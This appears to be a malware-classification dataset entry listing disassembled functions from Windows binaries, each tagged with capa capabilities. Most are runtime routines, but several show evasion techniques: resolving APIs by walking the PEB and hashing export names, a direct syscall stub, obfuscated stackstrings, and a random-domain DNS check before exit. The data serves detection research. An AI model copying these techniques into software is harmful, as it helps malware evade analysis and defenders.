joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002c00
Capabilities:
Get file version info

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x48
xor ebx, ebx
xor dil, dil
mov r13, r8
mov r14, rdx
mov r12, rcx
mov esi, ebx
cmp qword [rcx + 0x10], rbx
je 0x140002d95
cmp qword [rdx + 0x10], rbx
je 0x140002d95
mov rcx, rdx
mov qword [rsp + 0x40], r15
call fcn.140001000
mov rcx, rax
lea rdx, [rsp + 0x80]
call qword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
mov r15d, eax
test eax, eax
je 0x140002d8f
mov ecx, r15d
mov qword [rsp + 0x88], rbp
lea rdx, [0x140028c50]
call fcn.140004a44
mov rbp, rax
test rax, rax
je 0x140002d70
mov rcx, r14
call fcn.140001000
mov edx, dword [rsp + 0x80]
mov rcx, rax
mov r9, rbp
mov r8d, r15d
call qword [sym.imp.VERSION.dll_GetFileVersionInfoA]
test eax, eax
je 0x140002d5b
lea r9, [rsp + 0x98]
mov rcx, rbp
lea r8, [rsp + 0x30]
lea rdx, str.VarFileInfoTranslation
call qword [sym.imp.VERSION.dll_VerQueryValueA]
test eax, eax
je 0x140002d5b
mov rax, qword [rsp + 0x30]
lea rdx, [0x140028c50]
mov ecx, 0x80
movzx r14d, word [rax]
movzx eax, word [rax + 2]
shl r14d, 0x10
or r14d, eax
call fcn.140004a44
mov rsi, rax
test rax, rax
je 0x140002d5b
mov rcx, r12
call fcn.140001000
mov r9d, r14d
mov qword [rsp + 0x20], rax
lea r8, str.StringFileInfo_08lx_s
mov edx, 0x80
mov rcx, rsi
call fcn.140002ec0
lea r9, [rsp + 0x98]
mov rdx, rsi
lea r8, [rsp + 0x38]
mov rcx, rbp
call qword [sym.imp.VERSION.dll_VerQueryValueA]
test eax, eax
je 0x140002d58
mov rdx, qword [rsp + 0x38]
cmp byte [rdx], bl
je 0x140002d4d
or rbx, 0xffffffffffffffff
inc rbx
cmp byte [rdx + rbx], 0
jne 0x140002d44
mov r8, rbx
mov rcx, r13
call fcn.140001220
mov dil, 1
mov rcx, rbp
call fcn.140004a3c
test rsi, rsi
je 0x140002d70
mov rcx, rsi
call fcn.140004a3c
mov rbp, qword [rsp + 0x88]
movzx eax, dil
mov r15, qword [rsp + 0x40]
add rsp, 0x48
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
movzx eax, dil
jmp 0x140002d7c
movzx eax, dil
add rsp, 0x48
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x140002f20
Capabilities:
Access peb ldr_data
Get kernel32 base address
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rdi
push r14
push r15
mov rax, qword gs:[0x30]
xor r9d, r9d
mov rcx, qword [rax + 0x60]
mov rax, qword [rcx + 0x18]
mov rcx, qword [rax + 0x10]
mov rax, qword [rcx]
mov rbx, qword [rax + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov ecx, dword [rax + rbx + 0x88]
add rcx, rbx
mov r14d, dword [rcx + 0x1c]
mov edi, dword [rcx + 0x20]
add r14, rbx
mov r11d, dword [rcx + 0x24]
add rdi, rbx
mov ebp, dword [rcx + 0x14]
add r11, rbx
mov r15d, dword [rcx + 0x18]
test rbp, rbp
je 0x140002ff6
mov qword [rsp + 0x18], rsi
mov eax, dword [r14 + r9*4]
test eax, eax
je 0x140002fe2
xor r8d, r8d
mov esi, eax
test r15d, r15d
je 0x140002fe2
nop word [rax + rax]
movzx eax, word [r11 + r8*2]
cmp rax, r9
jne 0x140002fda
mov edx, dword [rdi + r8*4]
xor eax, eax
add rdx, rbx
movzx ecx, byte [rdx]
test cl, cl
je 0x140002fda
nop word [rax + rax]
ror eax, 7
lea rdx, [rdx + 1]
movsx ecx, cl
add eax, ecx
movzx ecx, byte [rdx]
test cl, cl
jne 0x140002fc0
cmp eax, 0x1130814d
je 0x140002fec
inc r8
cmp r8, r15
jb 0x140002fa0
inc r9
cmp r9, rbp
jb 0x140002f85
jmp 0x140002ff1
movzx eax, byte [rsi + rbx + 4]
mov rsi, qword [rsp + 0x18]
mov rbx, qword [rsp + 0x20]
mov rbp, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
pop r15
pop r14
ret
Function at 0x1400042c0
Capabilities:
Initialize winsock library
Resolve dns
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x5f0
mov rax, qword [0x140028010]
xor rax, rsp
mov qword [rsp + 0x5e0], rax
mov rdi, rcx
lea rdx, [rsp + 0x20]
mov ecx, 0x102
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r8d, r8d
lea edx, [r8 + 1]
lea ecx, [rdx + 1]
call qword [sym.imp.WS2_32.dll_socket]
movzx eax, byte [rdi]
xor ebx, ebx
mov edx, ebx
test al, al
je 0x140004329
lea rcx, [rsp + 0x1e0]
lea rdi, [rdi + 1]
cmp al, 0x20
je 0x140004329
movzx eax, byte [rdi]
inc edx
inc rcx
test al, al
jne 0x140004315
movsxd rax, edx
cmp rax, 0x400
jae 0x1400043f0
mov ecx, 0x50
call qword [sym.imp.WS2_32.dll_htons]
xor ecx, ecx
call fcn.140009524
mov rcx, rax
call fcn.140009590
mov dword [rsp + 0x1c0], 0x6d7a7071
nop dword [rax]
call fcn.140009564
and eax, 0x80000003
jge 0x140004373
dec eax
or eax, 0xfffffffc
inc eax
add al, 0x61
mov byte [rsp + rbx + 0x1c4], al
inc rbx
cmp rbx, 5
jl 0x140004360
lea rcx, [rsp + 0x1c0]
mov dword [rsp + 0x1c9], 0x6f672e76
mov dword [rsp + 0x1cd], 0x77742e76
mov byte [rsp + 0x1d1], 0
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x1400043cf
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400023f0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [rsp + 0x5e0]
xor rcx, rsp
call fcn.140004730
mov rbx, qword [rsp + 0x600]
add rsp, 0x5f0
pop rdi
ret
call fcn.1400048a8
int3

Function at 0x140004400
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x140028010]
xor rax, rsp
mov qword [rbp - 0x10], rax
movdqa xmm0, xmmword [0x140024220]
mov ebx, ecx
lea rcx, [rbp - 0x38]
mov dword [rbp - 0x38], 0x4e52454b
movdqu xmmword [rbp - 0x28], xmm0
mov dword [rbp - 0x34], 0x32334c45
mov dword [rbp - 0x30], 0x6c6c642e
mov byte [rbp - 0x2c], 0
mov byte [rbp - 0x18], 0
mov dword [rbp - 0x40], 0x65656c53
mov word [rbp - 0x3c], WSACleanup
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp - 0x38]
call rax
mov rcx, rax
lea rdx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, ebx
call rax
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140004730
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rbp
ret

Function at 0x1400044b1
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, dword [section..data]
syscall
ret
Function at 0x14000c284
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x14000c058
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000c058
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000c058
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000c058
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000c058
cmp dword [rcx + 0x84], 0xe
jbe 0x14000c058
cmp dword [rcx + 0xf8], esi
je 0x14000c058
mov ecx, r14d
call fcn.14000c1a0
mov ecx, 2
call fcn.14001183c
nop
cmp byte [0x140029588], 0
jne 0x14000c122
mov r15d, 1
mov eax, r15d
xchg dword [0x140029578], eax
test ebx, ebx
jne 0x14000c0cb
mov rdi, qword [0x140028010]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x140029580]
cmp rcx, rax
je 0x14000c0c2
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.140005164]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x140029598]
jmp 0x14000c0d7
cmp ebx, r15d
jne 0x14000c0dd
lea rcx, [0x1400295b0]
call fcn.14000c8a4
nop
test ebx, ebx
jne 0x14000c0f4
lea rdx, [0x14001c3d0]
lea rcx, [0x14001c3b0]
call fcn.14000bf18
lea rdx, [0x14001c3e0]
lea rcx, [0x14001c3d8]
call fcn.14000bf18
movzx eax, byte [0x140029588]
test esi, esi
cmove eax, r15d
mov byte [0x140029588], al
jmp 0x14000c122
mov ecx, 2
call fcn.140011890
test esi, esi
jne 0x14000c139
mov ecx, r14d
call fcn.14000c154
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x14000bfe8
Function at 0x140001480
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [str.4UR_]
mov dword [rax], 1
mov rax, qword [str.8UR_]
mov dword [rax], 1
mov rax, qword [str._UR_]
mov dword [rax], 1
mov rax, qword [0x1404e57e0]
mov dword [rax], 1
mov rax, qword [0x1404e5670]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014de
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14000150a
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x140001530
cmp eax, 0x20b
je 0x140001557
jmp 0x140001586
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x140001543
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x140001572
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x14000a124
Capabilities:
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
call sym.nimErrorFlag_7
mov qword [rbp - 8], rax
mov qword [rbp - 0x10], 0
mov rdx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x18]
mov r9, qword [rbp + 0x10]
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fread
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
cmp rax, qword [rbp + 0x20]
je 0x14000a192
mov rcx, qword [rbp + 0x10]
call sym.checkErr__stdZsyncio_u162
mov rax, qword [rbp - 8]
movzx eax, byte [rax]
movzx eax, al
test eax, eax
jmp 0x14000a193
nop
mov rax, qword [rbp - 0x18]
add rsp, 0x40
pop rbp
ret

Function at 0x14000bab2
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
call sym.nimErrorFlag_7
mov qword [rbp - 8], rax
mov qword [rbp - 0x10], 0
mov rdx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x18]
mov r9, qword [rbp + 0x10]
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x18], rax
mov rcx, qword [rbp + 0x10]
call sym.checkErr__stdZsyncio_u162
mov rax, qword [rbp - 8]
movzx eax, byte [rax]
movzx eax, al
test eax, eax
nop
mov rax, qword [rbp - 0x18]
add rsp, 0x40
pop rbp
ret
Function at 0x14000d033
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp - 8], 0
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sym.strlen
mov qword [rbp - 8], rax
mov qword [rbp - 0x10], 0
mov rdx, qword [rbp - 8]
mov rax, qword [rbp + 0x18]
mov r9, qword [rbp + 0x10]
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x14], 0
mov rcx, qword [rbp + 0x10]
call sym.fflush
mov dword [rbp - 0x14], eax
nop
add rsp, 0x40
pop rbp
ret

Function at 0x14001767b
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp - 8], 0
mov rdx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x18]
mov r9, qword [rbp + 0x10]
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov qword [rbp - 8], rax
mov dword [rbp - 0xc], 0
mov rcx, qword [rbp + 0x10]
call sym.fflush
mov dword [rbp - 0xc], eax
nop
add rsp, 0x30
pop rbp
ret
Function at 0x14001cb74
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
lea rax, str.echoBinSafe
mov qword [rbp - 0x58], rax
lea rax, [0x14046c5f8]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0
mov word [rbp - 0x40], 0
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.nimFrame_9
call sym.nimErrorFlag_8
mov qword [rbp - 0x10], rax
mov qword [rbp - 0x50], 0xb4d
lea rax, [0x140515300]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x50], 0x12
lea rax, [0x14046ccc0]
mov qword [rbp - 0x48], rax
mov qword [rbp - 8], 0
mov qword [rbp - 0x50], 0x13
mov rax, qword [rbp - 8]
cmp rax, qword [rbp + 0x18]
jge 0x14001ccd4
mov qword [rbp - 0x50], 0xb4e
lea rax, [0x14046c5f8]
mov qword [rbp - 0x48], rax
cmp qword [rbp - 8], 0
js 0x14001cc38
mov rax, qword [rbp - 8]
cmp rax, qword [rbp + 0x18]
jl 0x14001cc51
mov rax, qword [rbp + 0x18]
lea rdx, [rax - 1]
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.raiseIndexError2
jmp 0x14001cd65
mov rax, qword [rbp - 8]
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x50], 0xb65
mov ecx, 1
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
mov rax, qword [rbp - 0x18]
mov rdx, qword [rax + 8]
mov rax, qword [rax]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rdx
lea rax, [rbp - 0x70]
mov r8d, 0
mov rdx, rax
call sym.writeWindows__system_u9077
mov rax, qword [rbp - 0x10]
movzx eax, byte [rax]
movzx eax, al
test eax, eax
jne 0x14001cd64
mov qword [rbp - 0x50], 0xd
lea rax, [0x14046ccc0]
mov qword [rbp - 0x48], rax
add qword [rbp - 8], 1
jmp 0x14001cc06
nop
mov qword [rbp - 0x50], 0xb69
lea rax, [0x14046c5f8]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x20], 0
mov ecx, 1
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 1
mov edx, 1
lea rax, [0x14046c5e9]
mov rcx, rax
call sym.fwrite
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x50], 0xb6a
mov dword [rbp - 0x24], 0
mov ecx, 1
mov rax, qword [sym.__acrt_iob_func]
call rax
mov rcx, rax
call sym.fflush
mov dword [rbp - 0x24], eax
mov qword [rbp - 0x50], 0xb6e
lea rax, [0x140515300]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14001cd65
nop
call sym.popFrame_9
nop
add rsp, 0x90
pop rbp
ret
Function at 0x14003dc4b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0xb0]
mov rbx, rcx
mov rcx, qword [rbx]
mov rbx, qword [rbx + 8]
mov qword [rbp - 0x80], rcx
mov qword [rbp - 0x78], rbx
mov rbx, rdx
mov rax, qword [rbx]
mov rdx, qword [rbx + 8]
mov qword [rbp - 0x90], rax
mov qword [rbp - 0x88], rdx
lea rax, str.startsWith
mov qword [rbp - 0x58], rax
lea rax, [0x1404734b8]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0
mov word [rbp - 0x40], 0
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.nimFrame_14
mov byte [rbp - 1], 0
mov qword [rbp - 0x50], 0x38
lea rax, str.C:_nim_2.2.0_x64_nim_2.2.0lib_stdprivate_strimpl.nim
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x90]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x50], 0x39
mov rax, qword [rbp - 0x80]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x50], 0x3a
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x50], 0x66e
lea rax, [0x1404734b8]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0x3c
lea rax, str.C:_nim_2.2.0_x64_nim_2.2.0lib_stdprivate_strimpl.nim
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x20]
cmp rax, qword [rbp - 0x10]
jg 0x14003dd57
mov qword [rbp - 0x50], 0x661
lea rax, [0x1404734b8]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0x3c
lea rax, str.C:_nim_2.2.0_x64_nim_2.2.0lib_stdprivate_strimpl.nim
mov qword [rbp - 0x48], rax
mov byte [rbp - 1], 1
jmp 0x14003de84
nop
mov qword [rbp - 0x50], 0x3d
mov byte [rbp - 0x11], 0
mov rax, qword [rbp - 0x28]
cmp rax, qword [rbp - 0x10]
setle al
mov byte [rbp - 0x11], al
cmp byte [rbp - 0x11], 0
jne 0x14003de07
cmp qword [rbp - 0x10], 0
js 0x14003dd8d
mov rax, qword [rbp - 0x80]
cmp qword [rbp - 0x10], rax
jl 0x14003dda6
mov rax, qword [rbp - 0x80]
lea rdx, [rax - 1]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.raiseIndexError2
jmp 0x14003de84
cmp qword [rbp - 0x10], 0
js 0x14003ddba
mov rax, qword [rbp - 0x90]
cmp qword [rbp - 0x10], rax
jl 0x14003ddd6
mov rax, qword [rbp - 0x90]
lea rdx, [rax - 1]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.raiseIndexError2
jmp 0x14003de84
mov rdx, qword [rbp - 0x78]
mov rax, qword [rbp - 0x10]
add rax, rdx
add rax, 8
movzx edx, byte [rax]
mov rcx, qword [rbp - 0x88]
mov rax, qword [rbp - 0x10]
add rax, rcx
add rax, 8
movzx eax, byte [rax]
cmp dl, al
setne al
mov byte [rbp - 0x11], al
jmp 0x14003de08
nop
movzx eax, byte [rbp - 0x11]
xor eax, 1
test al, al
jne 0x14003de3f
mov qword [rbp - 0x50], 0x661
lea rax, [0x1404734b8]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0x3d
lea rax, str.C:_nim_2.2.0_x64_nim_2.2.0lib_stdprivate_strimpl.nim
mov qword [rbp - 0x48], rax
mov byte [rbp - 1], 0
jmp 0x14003de84
nop
mov qword [rbp - 0x50], 0x3e
mov edx, 0
mov rax, qword [rbp - 0x10]
add rax, 1
jno 0x14003de5c
mov edx, 1
mov rcx, rax
lea rax, [rbp - 0x68]
mov qword [rax], rcx
mov rax, rdx
and eax, 1
test al, al
je 0x14003de77
call sym.raiseOverflow
jmp 0x14003de84
mov rax, qword [rbp - 0x68]
mov qword [rbp - 0x10], rax
jmp 0x14003dd0b
call sym.popFrame_14
movzx eax, byte [rbp - 1]
add rsp, 0xb8
pop rbx
pop rbp
ret
Function at 0x14007d019
Capabilities:
Execute command

Disassembly:
push rbp
push rbx
sub rsp, 0x98
lea rbp, [rsp + 0x90]
mov rbx, rcx
mov rax, qword [rbx]
mov rdx, qword [rbx + 8]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
lea rax, str.execShellCmd
mov qword [rbp - 0x48], rax
lea rax, str.C:_nim_2.2.0_x64_nim_2.2.0libpureos.nim
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], 0
mov word [rbp - 0x30], 0
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.nimFrame_27
call sym.nimErrorFlag_25
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], 0
mov qword [rbp - 0x40], 0x1a1
mov dword [rbp - 0x14], 0
mov rax, qword [rbp - 0x60]
mov rdx, qword [rbp - 0x58]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rdx
lea rax, [rbp - 0x70]
mov rcx, rax
call sym.nimToCStringConv_6
mov rcx, rax
call sym.system
mov dword [rbp - 0x14], eax
mov dword [rbp - 0x18], 0
mov eax, dword [rbp - 0x14]
mov ecx, eax
call sym.exitStatusLikeShell__pureZos_u154
mov dword [rbp - 0x18], eax
mov rax, qword [rbp - 0x10]
movzx eax, byte [rax]
movzx eax, al
test eax, eax
jne 0x14007d0e0
mov eax, dword [rbp - 0x18]
cdqe
mov qword [rbp - 8], rax
jmp 0x14007d0e1
nop
call sym.popFrame_27
mov rax, qword [rbp - 8]
add rsp, 0x98
pop rbx
pop rbp
ret
Function at 0x14044ab80
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov r8, rbx
mov rdx, qword [rbp + 0x20]
mov rcx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x14044b7b2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x1405255c8]
test eax, eax
je 0x14044b84a
lea rax, [0x1405255a0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x1405255d0]
mov qword [rbp - 8], rax
jmp 0x14044b82e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x14044b822
cmp qword [rbp - 0x10], 0
je 0x14044b822
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x14044b7e8
lea rax, [0x1405255a0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14044b84b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x14044b950
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x14044b978
mov eax, 0
jmp 0x14044b9c6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14044b9a1
mov eax, 0
jmp 0x14044b9c6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x14044b9c1
mov eax, 0
jmp 0x14044b9c6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x14044b9cc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14044ba4a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x14044ba41
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x14044ba41
mov rax, qword [rbp - 8]
jmp 0x14044ba5f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x14044ba14
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140457494
Capabilities:
Print debug messages

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
cmp qword [rbp + 0x10], 0
je 0x1404575de
mov rcx, qword [rbp + 0x10]
call sym.pthread_spin_destroy
cmp eax, 1
jne 0x1404575d1
movabs rax, 0x6c6320726f727245
movabs rdx, 0x7520676e696e6165
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rdx
movabs rax, 0x6b5f6e6970732070
movabs rdx, 0x20726f6620737965
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
movabs rax, 0x20646165726874
mov edx, 0
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 0
mov word [rbp - 8], 0
mov byte [rbp - 6], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov ecx, eax
lea rax, [rbp - 0x70]
add rax, 0x27
mov r8d, 0xa
mov rdx, rax
mov rax, qword [sym.imp.msvcrt.dll__ultoa]
call rax
mov dword [rbp - 4], 0x27
jmp 0x140457587
add dword [rbp - 4], 1
mov eax, dword [rbp - 4]
cdqe
movzx eax, byte [rbp + rax - 0x70]
test al, al
je 0x14045759d
mov eax, dword [rbp - 4]
cmp eax, 0x69
jbe 0x140457583
mov eax, dword [rbp - 4]
cmp eax, 0x69
ja 0x1404575bc
mov eax, dword [rbp - 4]
cdqe
mov byte [rbp + rax - 0x70], 0xa
mov eax, dword [rbp - 4]
add eax, 1
cdqe
mov byte [rbp + rax - 0x70], 0
lea rax, [rbp - 0x70]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rax
call sym.abort
mov rax, qword [rbp + 0x10]
mov rdx, qword [rbp + 0x18]
mov qword [rax], rdx
jmp 0x1404575df
nop
add rsp, 0x90
pop rbp
ret